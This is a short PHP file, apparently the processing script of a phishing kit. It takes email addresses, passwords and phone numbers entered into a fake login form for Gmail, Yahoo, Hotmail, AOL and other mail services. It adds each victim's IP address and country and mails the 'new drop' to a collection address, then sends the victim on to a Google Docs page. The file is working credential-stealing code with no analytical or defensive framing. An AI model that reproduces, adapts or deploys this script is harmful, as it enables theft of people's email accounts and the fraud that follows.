Process PHP
Process PHP
php
$ip = $_SERVER['REMOTE_ADDR'];
$ip = getenv("REMOTE_ADDR");
$country = visitor_country();
$msg = "You have a new drop\n";
$msg .= "E : ".$_POST['em']."\n";
$msg .= "P : ".$_POST['psw']."\n";
if($_POST['sub']=="gmail") {
$msg .= "Tel : ".$_POST['phn']."\n";
$subject="New alert from GM";
}
if($_POST['sub']=="ymail") {
$subject="New alert from YM";
}
if($_POST['sub']=="hmail") {
$subject="New alert from HM";
}
if($_POST['sub']=="amail") {
$subject="New alert from AM";
}
if($_POST['sub']=="omail") {
$subject="New alert from Others";
}
$msg .= "I : ".$ip."\n";
$msg .= "C : ".$country."\n";
$msg .= "----------------------By God Is Able-\n";
function visitor_country()
{
$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = $_SERVER['REMOTE_ADDR'];
$result = "Unknown";
if(filter_var($client, FILTER_VALIDATE_IP))
{
$ip = $client;
}
elseif(filter_var($forward, FILTER_VALIDATE_IP))
{
$ip = $forward;
}
else
{
$ip = $remote;
}
$ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?
ip=".$ip));
if($ip_data && $ip_data->geoplugin_countryName != null)
{
$result = $ip_data->geoplugin_countryName;
}
return $result;
}
$to = "[email protected]";
$from = "From: Result <[email protected]>";
mail($to,$subject,$msg, $from);
print "https://docs.google.com/document/d/13qUEngtHuKjtvGoPaMl3x6cEnT2oO6lSWOccM-
PkXKk";
?>